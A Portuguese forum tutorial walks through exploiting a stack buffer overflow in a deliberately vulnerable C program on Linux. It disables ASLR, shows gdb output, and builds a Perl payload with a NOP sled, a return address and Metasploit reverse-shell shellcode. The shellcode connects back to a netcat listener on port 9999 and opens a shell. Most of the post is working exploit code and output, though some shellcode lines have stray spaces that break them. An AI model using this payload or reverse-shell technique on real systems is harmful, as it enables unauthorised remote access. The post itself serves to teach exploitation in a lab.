seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Participe do fórum, é rápido e fácil

seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

Você não está conectado. Conecte-se ou registre-se

Explorando Buffer Overflow em sistemas Unix

Ir para baixo  Mensagem [Página 1 de 1]

0x06

0x06
postador
postador

Explorando Buffer Overflow em sistemas Unix
Fala ae pessoal.

Vou falar um pouco sobre Buffer Overflow neste tópico

Ensinarei como explorar esta falha em sistemas Unix. Causarei um buffer overflow para conseguir invocar uma shell reversamente, explicarei cada passo meu para o melhor entendimento.

Este é o nosso programa vulnerável a buffer overflow:


/* vuln.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string) {

char buffer[1024];

strcpy(buffer, string);

return 1;
}

int main(int argc, char *argv[]) {

bof(argv[1]);
printf("Pronto!\n");

return 1;
}


Este programa, simplesmente recebe as strings do usuário e copia pro buffer, o qual tem a capacidade de 1024 bytes de dados. Se for enviado mais do que isso, causará um buffer overflow, e isso re-escreverá partes da memória.

Vamos compilá-lo:

bt NSG # gcc vuln.c -o vuln

Ah, precisamos desativar o patch do VA para conseguirmos exploitar o buffer overflow:

bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG # echo 0 > /proc/sys/kernel/randomize_va_space
bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG #


Agora, usaremos um debugger chamdo gdb para ver o que acontece quando é enviado mais que 1024 bytes de dado.
Usarei o Perl para conseguir enviar um buffer com 1040 bytes de dado:


bt NSG # gdb ./vuln
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run ´perl -e 'print "A"x1040'´
Starting program: /root/NSG/vuln ´perl -e 'print "A"x1040'´

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Como você pode ver, eu enviei uma string de 1040*A, A é 0x41 em sua forma hexadecimal.
Agora vamos analizar quais partes da memória foram sobre-escritos:


(gdb) i r
eax 0x1 1
ecx 0xfffff9e6 -1562
edx 0xbffff8aa -1073743702
ebx 0xb7fcc000 -1208172544
esp 0xbffff290 0xbffff290
ebp 0x41414141 0x41414141
esi 0xb7fce17c -1208163972
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)


Preste bastante atenção a esta parte:

eip 0x41414141 0x41414141

EIP é Extended Instruction Pointer, é nele que fica os endereços para a próxima instrução. Basicamente, ele aponta para o endereço onde o próximo pedaço de código será executado.
Então, sobre-escrevendo o eip com um endereço que contem um código nosso, nos permitirá que controlemos o fluxo(flow) do programa.
Nós sobre-escrevemos o eip com 41414141 que é AAAA. Porém, 41414141 não contém nenhum código e é uma parte inválida da memória que está sendo apontada.

Então precisamos apontar para um código nosso

Para executar um código nosso, usaremos algo que se chama ShellCode(sim, o famoso).
O ShellCode, também conhecido por Bytecode, contém um conjunto de instruções do cpu. Não vamos falar sobre como criar nosso próprio ShellCode neste tópico(talvez mais pra frente ), então usaremos o metasploit para gerar um.

Primeiro, nós precisamos mandar o netcat ficar escutando e esperando por uma shell, vamos à escuta:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...


E vamos verificar nosso endereço IP:


bt ~ # ifconfig |grep inet
inet addr:192.168.0.6 Bcast:192.168.0.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
bt ~ #


Nosso endereço IP é 192.168.0.6. Agora, precisamos checar se o netcat está escutando devidamente:


bt ~ # netstat -an |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
bt ~ #


Certo, agora vá no site [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]
para gerarmos nossa ShellCode.
Complete o formulário da seguinte forma:

LHOST Required ADDR = 192.168.0.6 (aqui você coloca o seu endereço ip)
LPORT Required PORT = 9999

e clique em "Generate Payload.."

Ele gerará isto:

/* linux_ia32_reverse - LHOST=192.168.0.6 LPORT=9999 Size=96 Encoder=PexFnstenvSub [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR] */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76"
"\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\ x25\xff\x48\xa9"
"\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\ x3f\xec\xb3\x98"
"\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\ x25\x1c\xab\x73"
"\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\ x59\xe6\x22\xab"
"\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\ xbb\x15\x4a\xc3";


Como vocês devem ter percebido, o ShellCode tem 96 bytes.
Vamos pegar apenas o necessário:

\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x 81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47 \x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x 15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd \x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\x ab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22 \xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x 90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3

Este ShellCode se conecta ao IP 192.168.0.6 pela porta 9999, que é onde o netcat está escutando, e nos dá uma shell.

Agora para encontrar nosso ShellCode na memória é um saco, então usaremos a técnica do NOP.
NOP é uma instruçãop que não faz nada( No Operation, 0x90)

Então, colocaremos algumas instruções NOP(nopsled) antes de nosso ShellCode, e apontaremos o eip para algum lugar de nosso NOPSLED, nossa payload ficará assim:

[dados inúteis - A (0x41)] [nopsled] - [ShellCode] [eip]

Agora nós precisamos calcular quanto, exatamente, precisamos enviar:

nós usamos 1040 bytes para sobre-carregar o eip com 0x41414141
eip são 4 bytes, então:
1040 - 4 = 1036
precisamos de 96 bytes para nosso ShellCode, então
1036 - 96 = 940
E nós podemos usar 940 bytes para nossos 'dados inúteis' e nosso nopsled.
Usarei 340 bytes para nosso nopsled, então será 340 x 0x90
940 - 340 = 600
E sobraram 600 bytes para usarmos de 'dados inúteis', ou seja, são 600 x A (0x41)
Nossa payload deverá ficar assim:

600x A(0x41) + 340 x NOP(0x90) + 96 bytes do ShellCode + 4 bytes do EIP = 1040 bytes

PAYLOAD:

´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`


Sobre-escreverei o eip com BBBB (0x42424242) apenas para um melhor entendimento.


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)


Como você pode ver, o eip foi sobre-escrito com 0x42424242 que é a parte da nossa payload que foi usada para sobre-escrever o eip.
Agora, precisamos apontar o eip para nosso nopsled ao invés de 0x42424242.
Vamos analizar nossa memória para vermos onde o nosso nopsled está:


(gdb) x/2000xb $esp


Agora aperta enter até ver uma grande quantidade de intruções NOP:


0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90


Antes do nosso nopsled, podemos ver nossos dados inúteis cheios de A(0x41), que foi como construímos nossa payload
Após nosso NOPSLED, temos nosso ShellCode:


0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0x83
0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
---Type <return> to continue, or q <return> to quit---
0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3


Como você pode ver, nosso ShellCode começa com \x33.
Agora, nós precisamos sobre-escrever o eip de forma que aponte para algum lugar em nosso nopsled.
Isso irá executar as instruções NOP até chegar ao nosso ShellCode, que nos trará uma shell reversamente na porta 9999.

Vamos escolher um endereço que se encontra nosso nopsled, pegarei como exemplo este:

0xbffff740

Vamos escrever no formato "little-endian"(ao contrário):

\x40\xf7\xff\xbf

E vamos colocar isto em nossa payload, que ficará assim:


´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`


Agora vamos rodar o programa usando nossa payload como argumento:


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x4 7\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\ x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xf d\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\ xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x2 2\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\ x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","\x40\xf7\xff \xbf"'`

Agora vamos voltar ao netcat, o qual deixamos escutando na porta 9999:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...
192.168.0.6: inverse host lookup failed: No address associated with name
connect to [192.168.0.6] from (UNKNOWN) [192.168.0.6] 59126

uname -a
Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz GenuineIntel GNU/Linux

Ir para o topo  Mensagem [Página 1 de 1]

Permissões neste sub-fórum
Não podes responder a tópicos